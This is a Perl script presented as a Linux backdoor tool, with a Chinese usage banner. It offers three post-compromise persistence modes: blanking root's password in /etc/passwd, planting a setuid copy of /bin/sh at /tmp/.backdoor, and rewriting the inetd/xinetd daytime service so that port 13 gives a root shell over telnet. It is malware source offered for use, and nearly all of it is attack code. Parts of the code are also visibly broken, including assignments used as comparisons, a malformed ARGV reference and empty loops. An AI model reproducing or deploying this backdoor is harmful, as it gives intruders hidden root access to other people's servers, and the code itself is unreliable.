print "++++++++++++++++++++++++++++++++++++linux后门工具+++++++++++++++++++++++++++++++++++\n"; 
  print "使用说明,有三中模式rushroot,fakebackdoor,和rushport,rushroot是加一个账号到passwd中,用户名是root,密码为空n fakebackdoor是绑定一个shell到/tmp/.backdoor下,运行后直接取得root shell,rushport是绑定端口在daytime服务中\n,有两个版本,一个是针对redhatlinux7.0一下的--rushport1,一个是针对redhatlinux7.0以上的--rushport2.\n一般服务器都不开这个服务,程序自动激活daytime服务,telnet到13端口直接取得rootshell 这种方法隐蔽性相对前两中最好\n,记住要重启daytime服务才能生效\n eg: rush rushroot,程序还有很多可以优化的地方,如果有什么好的改进请email to gaomeigaocuo\@hotmail.com\n by 流氓我一生\n"; 
  $parameter = @;ARGV[0]; 
  chomp $parameter; 
  if ($parameter = "rushroot") 
  { 
  &rushroot; 
  } 
  elsif ($parameter = "fakebackdoor") 
  { 
  &fakebackdoor; 
  } 
  elsif($parameter = "rushport") 
  { 
  &rushport1; 
  } 
  else ($parameter = "rushport2") 
  { 
  &rushport2; 
  } 
  
  sub rushroot 
  { 
  open (PWD,"/etc/passwd") || die "cannt find the shadow file!\n"; 
  while() 
  { 
  chop; 
  $passwd.="$_\n"; 
  last; 
  } 
  chomp $passwd; 
  if($passwd eq "root:x:0:0:root:/root:/bin/bash") 
  { 
  $passwd =~s/x//g; 
  print "rushroot success!now you can get a rootshell with null passwd"; 
  } 
  else 
  { 
  print "faild....something wrong....:((("; 
  } 
  
  
  while() 
  { 
  chomp; 
  $passwd1.="$_\n"; 
  } 
  
  close PWD; 
  open (PWD,">/etc/passwd")||die "why?"; 
  print PWD $passwd; 
  print PWD $passwd1; 
  } 
  
  
  sub fakebackdoor 
  { 
  @cpsh = ("cp", "/bin/sh /tmp/.backdoor"); 
  @chmod= ("chmod","u+s /tmp/.backdoor"); 
  system(@cpsh); 
  system(@chmod); 
  print "success! now you can use ./tmp/.backdoor to get a root shell\n"; 
  } 
  
  
  sub rushport1 
  { 
  open (RH6,"/etc/inetd.d/inetd.conf") || die "cannt find the shadow file!\n"; #这里根据版本不同可自己修改路径 
  while() 
  { 
  chomp; 
  $passwd.="$_\n"; 
  chomp $passwd; 
  if ($passwd eq "daytime stream tcp nowait root internal") 
  { 
  $passwd =~s/root internal/bin\/sh -i/g; 
  } 
  last; 
  close RH6; 
  open (RH6,">/etc/inetd.d/inetd.conf")||die "faild...:("; # #这里根据版本不同可自己修改路径 
  print RH6 $passwd; 
  print "success! now you can telnet romote host at port 13 after reboot the daytime session\n"; 
  } 
  } 
  
  sub rushport2 
  { 
  open (DAYTIME,">/etc/xinetd.d/daytime") || die "can't open file!"; 
  $daytime = "service daytime\n {\n disable = no\n server =/bin/sh\n server_agrs = --norc\n id = daytime-stream\n socket_type = stream\n protocol = tcp\n user = root\n wait = no\n }\n"; 
  print DAYTIME $daytime; 
  print "success! now you can telnet romote host at port 13 after reboot the daytime session\n"; 
  }
                  	
				
